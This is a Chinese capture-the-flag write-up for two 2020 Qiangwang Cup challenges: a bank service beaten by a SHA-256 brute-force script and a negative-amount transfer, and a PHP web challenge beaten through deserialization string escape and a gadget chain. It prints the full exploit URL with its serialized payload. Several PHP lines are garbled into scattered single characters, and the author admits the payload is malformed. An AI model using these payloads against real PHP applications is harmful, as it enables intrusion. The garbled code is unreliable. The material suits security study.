2020强网杯 部分wp
彩笔参加了这次强网杯,感觉又被扎心,果然是得PWN者得天下。
1. BANK
这题虽然是个PWN,但是居然被我这个web小白做出来了,我感觉我这种做法是个非预期解,也不知道大佬是如何操作的。
首先,远程nc连接,提示解密拼接字符串的sha256加密。编写python脚本爆破。简易脚本如下:
import hashlib,os
s = 'a36MUMAX1VSQQcEHJ' #伪加密部分字符串
result = 'f8a38643f58bf7d6523d8c43f81a9329d8be9220d118b98772c97c88d876c7cb' #结果
f =open("1.txt","r") #1.txt是我本地生成的字典内容是数字+字母(大小写)的三位数排列组合,随便找个生成器生成一下就好
for line in f:
st = line.replace('\n','')+s
tmp =hashlib.sha256(st).hexdigest()
if hashlib.sha256(st).hexdigest() == result:
print line
break;
f.close()
成功突破
输入token进入下一步,
选择 Get flag 发现需要1000才能拿到flag。
尝试了别的几个选项内容,还有hint,不过好像没啥用,大致应该就是:
赚钱必须要交易,transact就是与人交易。通过sha256算法啥的伪造别人的钱。
但是,这个时候骚操作来了,直接尝试transact 输入A -1000,居然就给自己加了1000(非预期??)
够钱flag了,拿到flag,舒服。
2. web辅助
首先下载附件,发现是网站源码,不出意料是个代码审计题目。再打开网站发现是提示对应的username和password。
查看原码index.php,原来是读取username,password
file_put_contents(“caches/”.md5(
S
E
R
V
E
R
[
′
R
E
M
O
T
E
A
D
D
R
′
]
)
,
w
r
i
t
e
(
s
e
r
i
a
l
i
z
e
(
_SERVER['REMOTE_ADDR']), write(serialize(
SERVER[′REMOTEADDR′]),write(serialize(player)));
老反序列化了,对应play.php的内容
@
p
l
a
y
e
r
=
u
n
s
e
r
i
a
l
i
z
e
(
r
e
a
d
(
c
h
e
c
k
(
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
"
c
a
c
h
e
s
/
"
.
m
d
5
(
player = unserialize(read(check(file_get_contents("caches/".md5(
player=unserialize(read(check(filegetcontents("caches/".md5(_SERVER[‘REMOTE_ADDR’])))));
Unserialize(Read(write(serialize()))),组合出来就是这么个玩意,经典的反序列化逃逸。这个read+write,借鉴了安恒月赛?,函数基本如出一辙。(在common.php就可以看见)
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
注:具体原理就不介绍了,感兴趣的可以搜索一下安恒月赛 反序列化逃逸的wp,简单来说i就是每一套read(write())下来,就可以逃逸出2个字符串。
接下来审计一个class.php 看看哪里有读flag的操作
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
Jungle的成员函数可以执行读flag的操作,意味着我们只要能触发__toString()的魔术方法就能拿到flag。找了好久也没发现输出的地方,最后发现stristr($this->name, ‘Yasuo’)居然是这个玩意。
注:这个骚操作我也是第一次见,在5.x版本前(具体那个忘了了),只有echo能触发toString操作,新版本所有的字符串操作都能触发了
接下来就是想办法构造函数调用这个内容了。
大致思路是这样
- 利用midsolo的gank函数触发jungle的ks函数
- 利用midsolo的invoke触发gank函数
- 利用topsolo的__destruct函数触发midsolo的invoke函数
老套娃了。
本地测试一下,大概代码如下:
$j = new jungle("1");
$m = new midsolo($j);
$t = new topsolo($m);
果然可以触发了toString()这下就好办了。
首先echo serialize($t);获取我们需要构造的字符串
O:7:"topsolo":1:{s:7:"chr(0)*chr(0) name";O:7:"midsolo":1:{s:7:"chr(0)*chr(0) name";O:6:"jungle":1:{s:7:" chr(0)*chr(0) name";s:1:"1";}}}
注:这里有一个问题,midsolo中的__wakeup会在反序列化过程中覆盖掉我们的传值,因此我们要将midsolo的1改成2来绕过。
接下来就是构造逃逸字符串,原理不多介绍,方法与安恒月赛类似,一次readwrite()就可以逃逸出2个字符,我们需要逃逸的部分有s:7:“chr(0)*chr(0)pass”;s:10:
20个字符,因此需要构造10组。但实际上我们上文的需要反序列化的字符串超过100位,因此这里的s:10要多出一位数,实际21个字符还需要再补出一个字符总共20+2,构造11组。
但是这儿的chr(0)* chr(0)正好被read转换了,因此我们可以将s改成S,这样就可以直接用16进制数来表示,用这个方法正好还可以直接突破check函数的name过滤,修改后的字符串如下:
O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:1:"1";}}};
至此基本的参数构造就完成了。
最终payload如下:
http://eci-2ze9505q64pk2ixrb975.cloudeci1.ichunqiu.com/?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:%22\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65%22;s:1:"1";}}};S:8:"\00*\00admin";i:1:0;}
成功getflag。(这里的admin字段闭合有问题,导致反序列化有问题,print_r无输出,但是对getflag无影响,靶机和实验环境不同,就不调整了,有兴趣可以自己打印一下字符串调整一下)